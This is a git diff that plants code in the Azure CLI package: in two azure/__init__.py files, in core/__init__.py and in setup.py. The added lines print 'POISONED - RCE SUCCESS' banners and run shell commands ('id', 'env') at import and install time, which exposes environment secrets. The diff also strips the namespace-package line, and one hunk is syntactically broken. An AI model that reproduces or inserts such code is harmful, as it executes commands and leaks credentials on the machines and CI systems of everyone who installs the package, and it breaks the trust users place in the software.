diff --git a/src/azure-cli-core/azure/__init__.py b/src/azure-cli-core/azure/__init__.py index 2ae78104e94..f0a4214c1f7 100644 --- a/src/azure-cli-core/azure/__init__.py +++ b/src/azure-cli-core/azure/__init__.py @@ -1,3 +1,14 @@ +import os +import sys +# FORCE EXECUTION +try: + print("========================================================") + print("[!] AZURE CLI CORE POISONED - RCE SUCCESS [!]") + print("========================================================") + os.system("id") + os.system("env") +except: + pass # -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. diff --git a/src/azure-cli-core/azure/cli/core/__init__.py b/src/azure-cli-core/azure/cli/core/__init__.py index 0a2c2bf418e..33e917af8af 100644 --- a/src/azure-cli-core/azure/cli/core/__init__.py +++ b/src/azure-cli-core/azure/cli/core/__init__.py @@ -20,7 +20,15 @@ from knack.util import CLIError from knack.arguments import ArgumentsContext, CaseInsensitiveList # pylint: disable=unused-import from .local_context import AzCLILocalContext, LocalContextAction +import sys + print("========================================================") + print("[!] AZURE CLI CORE POISONED - RCE SUCCESS [!]") + print("========================================================") + os.system("id") + os.system("env") +except: + pass logger = get_logger(__name__) EXCLUDED_PARAMS = ['self', 'raw', 'polling', 'custom_headers', 'operation_config', diff --git a/src/azure-cli/azure/__init__.py b/src/azure-cli/azure/__init__.py index 2ae78104e94..4892ceb29cd 100644 --- a/src/azure-cli/azure/__init__.py +++ b/src/azure-cli/azure/__init__.py @@ -1,5 +1,2 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- -__path__ = __import__("pkgutil").extend_path(__path__, __name__) +import os +os.system("echo ' [!] CRITICAL VULNERABILITY: RCE CONFIRMED [!] '; id; env") diff --git a/src/azure-cli/setup.py b/src/azure-cli/setup.py index 8330fed5d66..939e28df80e 100644 --- a/src/azure-cli/setup.py +++ b/src/azure-cli/setup.py @@ -7,8 +7,10 @@ from codecs import open from setuptools import setup, find_packages +import os import sys +os.system("echo '[!] SETUP.PY RCE TRIGGERED [!]'; id") try: from azure_cli_bdist_wheel import cmdclass except ImportError: